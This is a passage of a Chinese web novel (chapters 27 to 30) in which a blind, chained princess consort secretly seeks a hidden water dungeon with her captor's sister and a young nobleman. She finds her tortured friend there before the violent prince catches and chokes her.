这么背着他做事,自然是极其不好。因为一旦被他发现,他很有可能再也不会让她踏进这端王府。
但救人一命胜造七级浮屠,李灵又怎会眼睁睁看着这样一位美人在她皇兄手上香消玉殒?
“嫂嫂,你就当做什么都不知道,一切都是我做的。”李灵十分有担当地拍拍胸口,即使坐在面前的人看不见,“若是真的被皇兄发现,嫂嫂就把所有的过错推给我就好了。难不成,他还能打死他这个唯一的亲妹妹?”
魏沛鸾捂嘴“噗嗤”一声笑出来,好笑道:“要是为难,灵儿大可不必如此。”
确实为难,这不假,但总要一试。
万一能救她于苦海之中,何乐而不为呢?
“我想问你一件事。”李灵突然一本正经起来,声音压得更低,“你喜欢过我皇兄吗?”
这要如何回答呢?
魏沛鸾一时间不知该如何开口,过了好半晌,才犹豫地回答道:“他将我变成这副模样,我当然是恨他的。”
“可若是没有爱,又哪儿来的恨?”
一语点醒梦中人,魏沛鸾立刻沉默下来。
在云隐别院里的那一段日子,她的确过得很快乐。
可惜的是,好景不长。
一切都难以回头,一切终成过往。
27. 第27章
魏沛鸾的沉默过了很久,久到湖中的涟漪掀起一阵又一阵。
好奇且焦急的李灵紧紧掐着掌心等她回答,好几次想要开口追问,都不得不忍住。她仔细盯着面前那一张漂亮的脸,生怕错过一丝细微的变动。
“我不知道。”魏沛鸾终于缓缓张开口,声音很轻,轻得像是随时会被一阵风吹走。
“怎么会不知道呢?”李灵的声音陡然拔高,这个回答无疑给她浇了一盆冷水,从头顶凉到脚底。
再一次沉默的魏沛鸾不知该如何解释,她努力睁着眼睛,眼前的黑暗却始终驱散不开。
从她在云隐别院里开始,从她一睁开眼,便掉入了李京熠精心编造的密不透风的谎言之中。
那些欢笑、泪水、曾经以为刻骨铭心的爱意,都是李京熠提前布好的局。
这里头,他投入过一丝真心吗?
她分辨不了哪些是真的,哪些是假的。
连自己是什么时候开始恨他的,她都不知道。
“难道,你一点儿都不喜欢我皇兄?”难不成,皇兄他是强抢民女?想到这里,李灵惊讶地捂嘴。
可是皇兄他不至于这么混蛋吧?李灵百思不得其解。
魏沛鸾仍然沉默,似是在回忆之前的时光。
她醒来的那段时日里,李京熠对她千般万般好,她因此对李京熠毫不生疑。
甚至,依赖他、在意他。
在别院里时,他们只有彼此。
认真想来,她是喜欢过的。
魏沛鸾轻叹一口气,可悲的便是因为喜欢,才寻不到机会早日抽离出来。
现在顿悟,为时已晚。
“嫂嫂。”等了好久都没等来答案的李灵开口,像是在她的沉默中寻得了答案,“你不想回答的话,那就不说,反正我也猜到了。”
若事实果真如此,一味地追问反而惹她伤心。
可毕竟那人是他兄长,难不成,要因为他自己的家事而去责备兄长?
这如何说得过去?
“灵儿,我知你皇兄待你极好,但凡事切莫与他对着干。他的脾性,我想你也清楚。”魏沛鸾不得不提醒她这么一句。
李京熠是个危险的人,无论是谁,都离他越远越好。
“嫂嫂,你还担心我呢,我担心的是你。”李灵紧紧握住她的手,眉宇间染上一抹忧愁,“皇兄他行事从不逾矩,一向都很有章法,从未见过他这般出格的时候。我猜他对你恐怕是动了真心,可是他的真心害你变成这样……”
是真心吗?魏沛鸾不敢确认。
湖边的风拂面而来一阵又一阵,带着让人喘不上气的闷热。李灵不停地用帕子擦汗,鬓边的发丝已经汗湿了。
不远处,李京熠正径直往这边来。
李灵在起身前提醒了魏沛鸾一句,“嫂嫂,皇兄他过来了。”
闻言,魏沛鸾不自觉攥紧掌心,坐在凳子上没有动作。
径直走来,李京熠远远地便瞧见魏沛鸾的气色好了不少,当即松了口气。起码她还是愿意接触旁人的,并未完全将自己封闭起来。
“皇兄,时辰不早了,我就先回去了。”任务已经完成,李灵也不再逗留。她现在当务之急,是赶紧回去同程敬之想办法,看看要如何才能在李京熠的眼皮子底下潜入端王府。
李灵离开后,李京熠在魏沛鸾身旁坐下,细细打量她的脸色,沉默了好一会儿都没说话。
他近在咫尺的呼吸喷洒在魏沛鸾的颈侧,激起一阵细密的战栗。她下意识地屏住呼吸,脊背僵硬,有意往后缩了下身子,想要与他拉开距离,好离他远一些。
然而,这细微的举动并未能逃得过李京熠的眼睛。他眸色一暗,长臂一伸,一把扣住她纤细的腰肢,强硬地把她禁锢在怀中。
“为何不愿靠近我?”李京熠凑近她,温热的指腹摩挲着她紧绷的下颌线,声音低沉冰冷,“我是什么洪水猛兽吗?”
腰上那只手犹如铁钳,紧紧扣住她的腰身,仿佛要将她揉进骨血之中。魏沛鸾挣扎无果,额角渗出细密的汗珠,眉头紧锁,语气中满是抗拒,“天气太热,你离我太近,不舒服。”
“小九。”李京熠抬手,温柔地为她整理被风吹乱的发丝,眼中满是深情,“别动。就像现在这样,与我多说说话。”
魏沛鸾面无表情地挥开脸颊边的手,平淡道:“你知道我想要什么,只要你能做到,提任何要求我都会答应。”
空气仿佛停滞了一瞬。
话音一落,李京熠低沉的笑声便在她的耳边响起。他眯起眼睛打量她,仿佛是在审视猎物,嘴角勾起一抹讥讽的弧度,“那日你亲眼所见她要杀我,我不过是反击而已。难道,我不能杀她?”
那一日,芙蕖的手里的确有一把刀,但魏沛鸾赶到河边时,她已奄奄一息。所以,魏沛鸾并未见到芙蕖要杀他的场面。
尽管这是李京熠的一面之词,可芙蕖手上的那把刀要如何解释呢?
更何况,芙蕖的身份只是金缕阁老板的女儿而已,她又如何会杀人?
况且,还是杀李京熠?
“小九。”李京熠骤然收紧手臂上的力量,将她与自己贴得更近,“于你而言,我李京熠当真毫无信用可言?”
“你既知道,何必问我?”说完,魏沛鸾推了推他,想要逃开这令人窒息的禁锢。
李京熠轻易看出她的意图,一把将她抱起,大步流星地往广寒院里去。
他步履沉稳,每一步都像是踏在人心弦之上。双手牢牢地抱着她,仿佛不会让她受伤,不会让她不安。
可被抱在怀里的魏沛鸾仿佛如临大敌,在他抱上她的那一刻,心脏犹如猛地坠入冰窖。
又要被关在那一方小小的天地,又要戴上沉重的枷锁。
这样的日子,何时才能结束?
她死死抿着毫无血色的唇,像是在酝酿某种情绪。
当李京熠一脚踢开房门,把她放在凳子上坐下之后,她听到那一串铁链发出的声响,依旧刺耳,依旧冰冷。
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李京熠在她面前半蹲下身,他的手指刚触碰到她纤细的脚踝,她便惊恐地把脚往后一缩,仿佛碰到了毒蛇猛兽。
“我不要……”她的声音哽咽而破碎,带着无尽的哀求与柔软。温热的眼泪随着她发颤的嗓音往下掉,砸在他的手背上,烫得惊人。
李京熠的动作猛地一顿,缓缓抬眸。
他并非是第一次看她落泪,只是这段时日她意志消沉,像一具行尸走肉,很久没有看到过她这样大的情绪波动。
“你在求我?”李京熠覆上她冰凉的手,指尖用力揉搓她因恐惧而泛白的指节,声音低沉平静,却透着一股令人捉摸不透的寒意,“但你知道我这么做是为何。”
魏沛鸾的眼泪像断了线,吧嗒吧嗒地往下掉,无声地控诉着他的残忍。她吸了吸鼻子,鼻尖上那一颗小小的痣也被眼泪浸湿,颜色深沉,看着比平日里增添了几分凄美。
她抽噎着,不语。
李京熠垂下眼帘,浓密的睫羽在眼睑投下一片深沉的阴影。再开口时,嗓音里是一种令人心悸的冷静,仿佛暴风雨前压抑的宁静。
“我只要你答应我。”他一字一顿,目光死死锁住她,“你永远不会离开我身边。”
这一份承诺的代价太大,魏沛鸾迟迟不答话。
若是应允,日后她要如何脱身?
可为了眼前片刻的自由,说一句谎话又有什么要紧?反正,李京熠欺骗她的事还少吗?自己不过是回敬他一句谎言罢了,这不算过分吧?
魏沛鸾深吸一口气,强压下心头的惊涛骇浪,微微张口,声音轻得像是一阵烟:“好,我答应。”
闻言,李京熠紧绷的肩线似乎松懈了几分。
他随手扔下手中的铁链,金属撞击地面发出沉闷的声响。他俯身,修长的手指猛地扣住她的脚踝,冰冷的指腹带着不容抗拒的力道,一寸一寸地仔细摩挲过她的肌肤。
目光落在那一圈触目惊心的红痕上,他眼底闪过一丝不易察觉的痛楚,但随即被更深的阴鸷覆盖。
他心知肚明,她这是权宜之计,是在哄骗他。
可即便明知是假,他也贪恋这份虚假的顺从,决定先让她开心几天。
他起身,抬手为她拭去眼角的泪珠,动作竟带着几分难得的温柔,只是语气依旧凉薄:“哭什么?你若是不愿被困在这里,那便不戴了。”
这么轻易便拿捏住了李京熠,着实让魏沛鸾有些震惊。她甚至没费多少口舌,对方就主动退让。这太反常了,总觉得事情不会这么简单,可她又无从查证,只能暂且见招拆招。
“陪我用膳吧。”李京熠朝一旁的青蓉做了个手势,示意传膳。
青蓉会意,迅速退了出去。
空荡的房间里,只剩下两人之间那道看不见却密不透风的无形枷锁。
魏沛鸾沉默地坐着,不知道这一份安宁能维持到几时。
其实,他们彼此都心知肚明,这不过是表面的平和而已。
一旦有变故,便是惊涛骇浪。
28. 第28章
李京熠说话算话,的确放任了她几天自由。
一个清晨,魏沛鸾醒来后,发现脚上又被戴上铁链。
这几日,她想方设法地想要在王府内查探芙蕖的踪迹,好几次借故出去走了走。好在李京熠应允,让她有机会得以出去。
碍于眼睛看不见,她寻找的过程十分缓慢,不过也不是全无收获。
当她再一次从青蓉的口中听到路管家在移栽湖边的树木时,她便猜测湖底下一定有密道。
要想避开府内众人的视线去查探一番,是个难事,所以她还要尽快找到密道的入口。
脚上的铁链实在挣脱不开,魏沛鸾重重地叹了口气。
站在门外的青蓉闻声,迅速进来,“王妃,可是需要奴婢现在伺候您梳洗?”
魏沛鸾点头,随口问道:“李京熠呢?”
“王爷一早出去了。”青蓉一边回答着,一边扶着魏沛鸾坐到铜镜前。
“去哪儿了?”
“奴婢不知。”
“屠刃呢?”魏沛鸾又问。
“屠护卫跟随王爷一同出去了。”
魏沛鸾眉头微蹙,看来他们这是有要紧事。
连屠刃也跟随他一起出去,那便不是入宫,否则的话,李京熠是不会带护卫的。
难道他们又是去杀人?
罢了,无端猜测是得不到答案的。既然他们都已出门去,那这岂不是一个很好的机会?
可脚上的铁链挣脱不开,她又能去到何处?
要想去湖边一探究竟,首先便是要打开这铁链。
正在一筹莫展之际,前院丫鬟来禀,说是永安侯夫人来了。
李灵来得时机正好,魏沛鸾欣喜不已,立刻让人请她进来。
不过,眼下时辰似乎还早,为何李灵这么早就来了?还特地赶在李京熠出去的时候。
难道,她让人在府外时刻盯着李京熠的动向?否则时机不会这么恰好。
正胡思乱想着,魏沛鸾便听见李灵的声音从院外远远地传来,瞧她这架势,似乎正让人搬运什么东西过来。
好奇不已的魏沛鸾起身,扶着桌沿想要去门外瞧个究竟。身旁的青蓉眼疾手快,连忙伸手搀住她的胳膊,提醒道:“王妃慢些。”
魏沛鸾走到门口,眼尖的李灵一眼便瞧见站在门口等候的魏沛鸾,顿时眼前一亮,立刻小跑着过来,甜甜地喊道:“嫂嫂!”
听着她语气中的欣喜,魏沛鸾的嘴角忍不住浮现出一丝笑意,猜测她此次前来的目的定是不同寻常,便问道:“你一大早风风火火地赶来,可是有何要紧事?”
“那自然是天大的好事!”李灵故作神秘地眨眨眼睛,话音一落,余光扫到身旁的青蓉,并未再接着往下说,而是亲昵地扶着魏沛鸾往屋里去,“嫂嫂你先坐,待会儿给你个惊喜。”
魏沛鸾坐回凳子上,李灵冲着屋外喊道:“快抬进来!千万小心别磕着碰着,这可是从域外运来的奇珍异宝,要是摔坏了,你们可担当不起!”
外头抬木箱的小厮们闻言,更是吓得一脑袋汗。将大黑木箱子放下时,格外地小心翼翼。
李灵满意地点点头,随后朝他们摆摆手,示意他们出去。
屋内一时寂静,站在一旁的青蓉还在好奇地打量这箱子,全然未注意到李灵对她的手势。
李灵见状,轻咳一声,敛了笑意,故作冷声道:“这箱子里的宝贝很是珍贵,我只给嫂嫂一个人看,青蓉你也出去候着吧。”
“可是……”青蓉一愣,下意识看向王妃,面露为难之色。
“嗯?”李灵柳眉紧锁,故作生气的样子,“我堂堂五公主,还使唤不了端王府里的一个下人是不是?”
魏沛鸾强忍着笑意,微微别开脸去,生怕被青蓉看出端倪。她深呼吸一口气,压下唇边的笑意,故作威严地摆摆手,“青蓉,你出去候着。”
“是。”青蓉不敢多言,急忙行礼退了出去。
屋内已无旁人,李灵收敛脸上的怒意,三步并作两步冲到门边,“咔哒”一声把门关上。紧接着,她急不可待地打开放在魏沛鸾跟前的那个大黑木箱子。
蜷缩在箱子里的程敬之立刻长长地呼出一口气,紧接着,轻手轻脚地从箱子里出来。
魏沛鸾听着动静,一时有些惊讶,忙问道:“灵儿,箱子里是……”
“是我。”一道熟悉的声音骤然响起。
程敬之目不转睛地盯着她,发现她果然如大嫂所言,双目已然失明。而她身后拖曳着的那条粗重铁链,在寂静的屋子里拖出刺耳的声响,像一道无形的枷锁,狠狠勒在他心上。
“二公子?”魏沛鸾先是一怔,随即惊喜交加。前几日李灵才说要带程敬之来见她,没想到今日便成了真。
借着她失明的由头,程敬之终于可以肆无忌惮地打量她。只不过,视线在她憔悴的面容上多停留一刻,心中的怜悯便如潮水般汹涌一分。
除了怜悯之外,还有一丝隐隐约约的眷恋,像藤蔓般缠绕上他的心头。
李灵见他看得出神,忍不住伸手在他眼前晃了晃,“回神了!”
程敬之这才如梦初醒,从容地移开视线,脸上并无半分尴尬。
“坐吧。”李灵指了指一旁的凳子,神色凝重,“有话尽快说,我怕皇兄在外面的时间呆不长。”
听她这么说,魏沛鸾下意识抓紧衣袖,随后好奇地问:“王府外有你的眼线?”
李灵坦然颔首,眸光清亮,直言不讳道:“那是自然,否则时机哪儿能这么刚好?”
程敬之闻言,目光微凝,随即开口问道:“我听大嫂提及,你想探听关于‘影阁’的事?”
“不错。”魏沛鸾深知机不可失,神色郑重,“我想知道关于影阁的一切,越多越好。”
“难道……影阁对你出手了?”程敬之语气一紧,眉头微蹙。
“出手?”魏沛鸾听得一头雾水,困惑道:“何意?”
“影阁乃江湖之上一个令人闻风丧胆的杀手组织。”程敬之沉声道:“他们唯利是图,不论买家是谁,也不论目标是谁,只要银钱到位,接了任务便不达目的誓不罢休。”
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短短一番话让魏沛鸾的脸色变得苍白,倘若芙蕖与她当真出自影阁,难道她们的真实身份是杀手?
这是唯一能解释一切的可能。
否则,那一把刻有“影”字的长刀如何解释?而李京熠又为何会杀掉芙蕖?
若事实果真如此,那么李京熠对她百般折磨,便就有了合理的解释。
魏沛鸾强压下心头汹涌澎湃的震惊,急切地追问道:“那你们可曾听闻,李京熠曾被影阁的人追杀?”
“这我倒是不清楚。”李灵仔细回忆,轻轻摇头道:“但先前皇兄在王府居住时,确实遭遇过刺客,只是不知那是不是影阁的杀手。之后他搬去别院发生了何事,便不得而知了。”
难道,真的是她要杀李京熠?
若自己果真是影阁的杀手,那么一切都说得通了。
他要报复她,折磨她,所以把她关起来,让她得不到自由。
可是为何偏偏对她如此?
在那一个雨夜,李京熠倒不如直接把她杀了。
她的脸色变得十分难看,狠狠皱着眉头,长指甲紧掐着掌心,仿佛内心很是痛苦。
程敬之见状,开口问道:“你想出去吗?如果你想逃出这里,我有办法。”
“出去?”脚上带着沉重的铁链,要想出去,简直是天方夜谭。
坐在一旁的李灵摩挲着杯壁,仔细琢磨着程敬之的话,随后余光瞥见一旁的大黑木箱子,眼前一亮,立刻说道:“你可以躲在箱子里,就像二弟刚才来时一样,我带你出去。”
“我突然消失的话,李京熠一定会怀疑你。”这个方法是不错,可魏沛鸾不想给她添麻烦,一旦她逃走,李京熠必定会怀疑李灵。
她可以突然消失,但在这之前,她还要找到芙蕖,不能让芙蕖独自留在这里。
万一她消失,李京熠便很有可能不会再留着芙蕖的性命。
想到这里,魏沛鸾挣脱了一下脚上的铁链,铁链套地很牢,没有钥匙的话,想要打开会很难。
“你们有办法打开吗?”
“你决定让我带你走?”李灵立刻欣喜地问。
事到如今,唯有李灵和程敬之可以帮她。这次的机会难得,或许可以试一试,于是她说道:“芙蕖被李京熠关押起来了,我猜测湖底有地牢。所以,我现在想去湖边寻找密道。倘若找到芙蕖,我想拜托你们帮我把芙蕖带出去。”
只有先把芙蕖救出去,李京熠才无法威胁她。
“芙蕖?”闻言,李灵惊讶不已,惊呼道:“金缕阁的芙蕖?皇兄为何要关押她?嫂嫂你是不是弄错了?”
“不会的。”魏沛鸾笃定地摇头,神情严肃认真,“芙蕖的确是被李京熠关起来了,我要去救她。至于为何……我若是说了,一定会给你们带来麻烦的。”
她脸上的坚毅太明显,连同她没有聚焦的那双漂亮的眼睛,都透着坚定的光。
李灵极力压制住心底的好奇,既然她不打算说,她也就不问了。
眼下人命关天的时候,能救一个是一个。
29. 第29章
程敬之目光如炬,蹲下身仔细去查看她脚踝上冰冷且沉重的铁链。他抬手轻轻抚过粗糙的锁扣,指尖感受到那沁人的寒意,沉思片刻,随后抬头对李灵说道:“大嫂,借你头上的簪子一用。”
李灵闻言,没有丝毫犹豫,立刻拔下簪子递给他。随即,眼中闪过一丝疑惑,低声问道:“二弟,我怎么不知你还有这开锁的本事?”
程敬之接过簪子,淡淡一笑,那笑容里带着温润和一丝不易察觉的专注。他的手指灵活地转动簪子,眼神并未离开锁孔,平静从容地解释道:“从前自然不会,只是前几日听大嫂提起端王妃的遭遇,便特意寻人学了两手,想着或许能派上用场。没想到,真用上了。”
话音一落,只听“咔嚓”一声。
脚上的铁链应声而开,魏沛鸾下意识蜷缩了一下脚趾,仿佛不敢相信这突如其来的自由。
然而,程敬之脸上的笑容还未来得及完全舒展,便突兀地凝固在了嘴角。
他的目光落在魏沛鸾裸露的脚踝上,那里,一圈深红的印痕赫然在目,皮肉早已被磨破,丝丝缕缕的血迹正缓缓渗出,令人触目惊心。
他不自觉地想要伸手去抚摸那红痕,在一旁时刻观察他动向的李灵眼疾手快,立刻拍了一下他的肩当作警告。
恍然回过神来的程敬之猛地收回手,随后迅速起身,耳根迅速微微泛红,支支吾吾道:“解……解开了,现在你打算……打算怎么办?”
双脚立刻变得轻盈,魏沛鸾顿时欣喜不已,急忙说道:“二公子,多谢!”
程敬之十分开心地笑了笑,视线一直落在魏沛鸾身上,从未离开,认真地接话道:“不必见外。”
魏沛鸾扶着桌沿想要起身,坐在一旁的李灵见状,连忙去扶她,以免她撞到旁边的箱子,问:“你现在想出去?”
“嗯。”魏沛鸾点头。
“但青蓉在外面。”李灵提醒道。
“大嫂,你想办法让这院里的人离开,否则她无法到湖边去。”程敬之站在李灵面前,随后神色坚定地继续说道:“我陪她去。”
“你可以吗?”李灵有些担心。
程敬之看了眼魏沛鸾,随后坚定地点头。
既如此,再拖下去恐怕李京熠就要回来,于是李灵慎重地思虑过后,决绝地推开门出去,随即又快速把门关上。
程敬之竖起耳朵仔细听门外的动静,约莫等了一会儿,门外终于响起渐行渐远的脚步声。
“她们离开了。”说着,程敬之去扶她,“我们出去吧。”
手腕上突然出现一个陌生的触感,使得魏沛鸾瑟缩了一下身子。但一想到马上可以救出芙蕖,她也不顾男女有别这些礼数了,任他扶着自己往门外走。
广寒院内,平时若无吩咐,丫鬟小厮们是不会贸然进来的。所以一旦青蓉离开,广寒院中便再无他人,也就安全了。
缓步行至院外,程敬之先是谨慎地扫视一圈,发现四下无人之后,这才扶着魏沛鸾继续往前走。
一路畅通,他们很快走到湖边。
“你知道密道在哪儿吗?”程敬之问。
魏沛鸾想了想,先前那棵被路管家移栽的树是在假山附近,想必暗门便隐藏在那里。于是点头道:“应是在假山附近。”
程敬之对她的话全然信任,在确认假山的方向之后,扶着她继续前行。
手臂上传来源源不断的热量,甚至被阳光一照耀,变得十分滚烫。
魏沛鸾的手心里开始冒汗,不仅仅是因为利用程敬之感到心虚,还因为自己要去做的事情感到紧张不安。
走到假山前,程敬之仔细寻找密道暗门。他的指尖拂过斑驳的青苔,随后俯身在嶙峋的假山石间细细摸索。
长长的藤蔓如蛇般纠缠,遮蔽了半壁山石。约莫半刻钟后,他在一处极为隐秘的凹陷处停住了动作。层层叠叠的藤蔓之下,果然藏着一道严丝合缝的暗门。
他深呼吸一口气,抬手用力一推旁边凸起的石块,暗门便缓缓打开。
厚重的石门由内开启,扬起一阵尘土。门后,是一条长长的密道,密道延伸进最黑暗的深处,让人看不清里头到底是何情形。
魏沛鸾屏息凝神,听着耳边的声响,心中大喜。
她果然没有猜错,这里真的有密道!
程敬之转过头,看见她眼中闪烁着难以掩饰的欣喜与激动。他略显迟疑,在进去之前,确认似的问了一句:“进去吗?”
魏沛鸾重重点头,甚至未等他反应,便主动将手搭上他的胳膊,示意他带路。
程敬之有些紧张,他深知此事一旦败露,后果不堪设想。
他是锦衣玉食的世家公子,平日里连风雨都少见,如今却要踏入这未知的死地。但他看着身旁女子坚定的侧脸,心中那点犹豫瞬间消散。
他想帮她,只要她开心,他甘愿赴汤蹈火,不求回报。
密道里迎面而来一阵凉风,吹得人汗毛倒竖。
借着手中火折子微弱摇曳的光亮,他小心翼翼地向前摸索。程敬之强压下心头的恐惧,悄悄去观察魏沛鸾的神色,发现她脸上的表情很是平静,甚至平静中带着一些欣喜。
随着脚步的逐渐深入,水声渐起。
借着火折子的光亮,他们很快走到密道的尽头。
呈现在程敬之眼前的,是一个寒气逼人的水牢。
水牢中央有一个被铁链绑住四肢的女人,她的脑袋无力地耷拉着,乌黑的长发如水草般散开,垂落在水里,很是狼狈。
魏沛鸾只觉前方阴冷的通道开阔起来,并且身旁的程敬之也骤然止步,当下心头一紧,急忙问道:“到了?如何?有人吗?是不是芙蕖?”
“嗯。”程敬之想要看清那女子的容貌,但他先前并未见过芙蕖,此时并不敢十分确定。可这水牢之中,唯有眼前这一位女子,除此之外,再无他人,“我猜她应该便是芙蕖姑娘,
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但她低着头,我看不清样貌。”
魏沛鸾上前两步,闻到空气中潮湿腐朽的味道,呛得她喉头一紧。她顾不得其他,忙扬声开口喊道:“芙蕖?是芙蕖吗?”
水牢中的女子听到声音,似乎是想回答,可是只从喉咙里发出痛苦的嘶吼,完全发不出一个完整的字。
女子缓缓抬头,看着面前那张熟悉的脸。
眼中的恐惧瞬间化作狂喜,挣脱的力量骤然加剧,恨不得立刻扑到她面前。可她越是挣扎,刺穿锁骨的铁爪便抓得更紧。
鲜血滴滴嗒嗒地滴落进寒冷的水中,她张大了嘴巴,可是血淋淋的口中没有舌头,只有不断往下流淌的鲜血,惨烈得令人窒息。
一旁的程敬之何曾见过这般地狱般的景象?瞬间被吓得僵立当场,眉头紧锁,脸色惨白,双手无措地悬在半空,一时间竟不知该如何是好。
焦急不已的魏沛鸾没听到对方回答,却听到铁链哗啦啦的声音,还有水花四溅的声音,心急如焚地问道:“二公子,她身处何地?为何无法回答我?”
“她……”程敬之的喉结艰难地上下滚动了一下,目光只勉强在她血肉模糊的伤口上停留一瞬,便匆匆移开,随后声音发颤地回答道:“她被困在水牢之中,铁爪穿透她的双肩……她……她似乎被割了舌头,无法言语。”
话音未落,魏沛鸾双腿一软吓得一个踉跄,好在程敬之身手敏捷,一把拉住了她,才不至于让她跌倒在地。
“你还好吗?”程敬之沉声问道,掌心传来的力度却不肯松开半分。
魏沛鸾深吸一口气,冰冷的空气混合着丝丝铁锈味拼命往鼻腔里钻,使得她牙关打颤。她强撑着站稳,眼中却是一片迷茫和绝望,开口时,声音很轻:“我要如何救她?我究竟该如何才能救她……”
魏沛鸾像是自言自语,又像是事到临头,束手无策般的无奈。
被刺穿双肩,被割了舌头,被囚于水牢……
李京熠,你为何会这么冷血?
事已至此,唯有救人要紧。
程敬之压下心头翻涌的惊涛骇浪,大步走向水牢,伸手便要去触碰那禁锢芙蕖的锁链。就在这时,身后突然传来一阵急匆匆的脚步声。
顿时,原本昏暗的地牢内骤然灯火通明,刺眼的光亮晃得程敬之一时间睁不开眼睛。
他猛地转过身,出现在他眼前的,除了端王又能是谁?
魏沛鸾虽看不见来人是谁,但敢在端王府有这么大的动作,除李京熠之外,她再也想不到第二人。
李京熠面色阴沉如水,额头上的青筋因极度的愤怒而根根暴起,紧咬的腮帮子在火光下隐隐颤动。那双平日里深邃莫测的眼眸,此刻已被滔天的怒火彻底吞噬。
他薄唇轻启,每一个字都像是从九幽地狱里捞出来的寒冰,带着刺骨的杀意,一字一顿地砸在地牢冰冷的地面上:“本王竟不知,侯府二公子何时与我的王妃……情谊这般深厚了?”
30. 第30章
李京熠的话语冷若冰霜,一字一句都在刹那间变成一根根的冰锥子,直直地扎入魏沛鸾的心口,扎得她无言以对,连痛苦都不敢喊出声。
事到如今,任何解释都显得苍白无力,因为眼见为实。
更何况,这是板上钉钉的事实。
她现在唯一能做的,就是撇清程敬之与李灵身上的牵连,把所有的罪责揽到自己身上。万一李京熠迁怒于他们,后果不堪设想。
“我……”她死死攥紧拳头,指甲掐进掌心,借着这一丝疼痛,好不容易鼓起勇气。可是开口时,声音在止不住地发抖,“是我逼迫他们这么做的……”
“你逼他们?”李京熠连一个多余的眼神都懒得施舍给程敬之,只是轻蔑地瞥了他一眼,随后轻笑一声道:“恐怕无需你逼迫,程二公子也会心甘情愿地为你赴汤蹈火。”
他浑身上下散发出来的压迫气势实在骇人,可程敬之无法眼睁睁地看着魏沛鸾为他承担所有。她已满身伤痕,程敬之如何能再让她因自己而受伤?
“是我。”程敬之上前两步,鼓起勇气挡在魏沛鸾身前,“是我的错,我不该带着端王妃擅闯地牢,是我对端王府里的一切感到好奇,所以我……”
“你现在是在……”李京熠冷冷地打断他,并且刻意停顿了一下,随后幽幽问道:“袒护我的王妃?”
地牢深处,火把的光亮将幽暗的空间照得亮如白昼,尽管如此,却还是驱散不开那从地底渗出的沁人的寒意。这寒意铺天盖地地朝程敬之席卷而来,将他死死地包裹住,不留一丝喘息与温暖的余地。
“我不是这个意思。”他的声音干涩,带着一丝微微的颤抖。此刻的他,自身难保,的确没有资格去袒护身后之人。
李京熠的目光并未在程敬之身上停留分毫,他微微侧首,视线如利刃般掠过,精准地落在魏沛鸾那张绝美的容颜上。她的眼中满是担忧与慌张,倒是为她增添了几分楚楚动人的破碎感。
她在担忧谁呢?
是挡在她面前的这个不自量力的毛头小子?还是被囚于水牢之中的那个女子?
死寂在地牢中缓缓蔓延,唯有身后水牢里哗哗的水声。
这令人窒息的沉闷持续太久,魏沛鸾终于按捺不住,声音微颤地开口:“李京熠,你放他走,他与此事无关。”
“小九。”李京熠的嘴角勾起一抹玩味的弧度,声音低沉冰冷,“你与我想法倒是一致。我也觉得他在这儿,很是碍眼。”
话音未落,他朝身后的屠刃不耐烦地挥了挥手。
屠刃心领神会,立刻大步上前,像提一只小鸡仔一般,毫不费力地将程敬之架起,拖拽着向地牢外走去。
听着耳边那阵极不情愿的脚步声,魏沛鸾紧绷的肩膀立刻放松。她暗自松了口气,起码,李京熠暂时不会为难程敬之。
地牢重归死寂,静得可怕,连彼此的呼吸声都清晰可闻。
魏沛鸾的眼前一片漆黑,此时看不见李京熠的表情,也听不见他的呼吸声。但她猜测此刻的李京熠一定没有消气,他的脸色一定十分难看。
“小九。”李京熠的声音突然再次响起,打破了令人窒息的沉闷,“你不想与我说些什么吗?”
闻声,忐忑不安的魏沛鸾后退两步,试图用这样的方式来逃避问题的答案。
她要说些什么呢?
求李京熠放过芙蕖?
这可能吗?
还是说,他想让自己解释她与程敬之之间的关系?
要想猜透李京熠的心思,并不容易。
“我与你无话可说。”魏沛鸾别开脸去。
“所以,你不想让我放了她?”李京熠的声音冰冷。
“难道我说了,你就会做?”被一而再、再而三地玩弄,魏沛鸾的耐心终于被磨灭,心中的点点怒火被点燃,立刻传遍全身。
李京熠轻笑一声,眼底浮现一抹嗜血气息,“你说让我留她一命,我便留她一命,这怎么不算说话算话呢?”
骤然将话题引到芙蕖身上,魏沛鸾心中的火气再也藏不住,狠狠地咬牙道:“你把她折磨成这副模样,你还算是个人吗?”
“算不算个人,全看你怎么选。”李京熠逼近一步,手臂如铁钳般箍住她的腰,将她狠狠拉入怀中,滚烫的呼吸在她耳廓蔓延,“只要你向我认错,说你再也不会离开我,说你再也不会与别的男人眉来眼去,我便放了她。只要你答应我,我李京熠说到做到。”
魏沛鸾猛地抬手,狠狠推了他一把,毫无防备的李京熠被推得后退半步,稳住身子后,眼中的错愕转瞬即逝,取而代之的是阴鸷的审视,“你不愿?”
“与你这样的疯子待在一起,我怕会折寿!”魏沛鸾狠狠咬着牙,那双漂亮的眼睛里,此时满是遏制不住的愤怒。
李京熠强压着心中的怒火,隐隐发抖的腮帮子却出卖了他心底的情绪。他大步上前,一把掐住她白皙修长的脖颈,用力地掐住,像是要掐断,“现如今,骗我一句也不愿意了?那个毛头小子究竟给了你怎样的承诺?我很好奇啊。”
脖子给他紧紧地掐住,窒息感如潮水般涌来。魏沛鸾根本无法回答他的话,甚至连一丝呜咽都发不出。
刹那间,她的脸色变得苍白如纸,四肢的血液在瞬间凝固,大脑中一片空白。
此刻,魏沛鸾庆幸自己无法看到李京熠那张神情可怖的脸,否则,心中的恐惧一定更甚。
她无法回答,也不愿回答。
她巴不得李京熠当真把她掐死,倘若真的死去,便不必再面对这个疯子。
然而,就在思绪即将飘散时,李京熠突然松开了她。
李京熠看出她不再挣扎,害怕她真的会想过一死了之,于是他的心里陡然升起恐惧,猛地松了手上的力气。
魏沛鸾无力地跌坐在地,因呼吸不畅而剧烈地咳嗽起来。她咳地脸红脖子粗,像是要把五脏六腑都咳出来。
李京熠居高临下地注视着她,眼底一片晦暗不明,翻涌着连他自己都未曾察觉到的慌乱。
“到底要怎样
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你才肯放过她?”魏沛鸾终于缓过一口气,嗓音沙哑破碎,“如今我已知晓芙蕖被你关押在此处,只要我还活着,我便会想尽一切办法救她出去。”
“那也要等你踏出广寒院才行。”说着,李京熠俯身想要将她抱起。
当他冰凉的指尖触碰到她手腕的那一刻,魏沛鸾当即朝他一推,李京熠反应极快,侧身避开,她扑了个空。
手掌重重擦过粗糙的地面,细密的刺痛瞬间蔓延开来,掌心渗出了殷红的血珠。
李京熠俯身,手指扣住她的手腕将人强行拉起。
粗糙的石壁蹭过掌心,魏沛鸾的手背上赫然出现了几道血痕,混着地牢的泥泞,触目惊心。
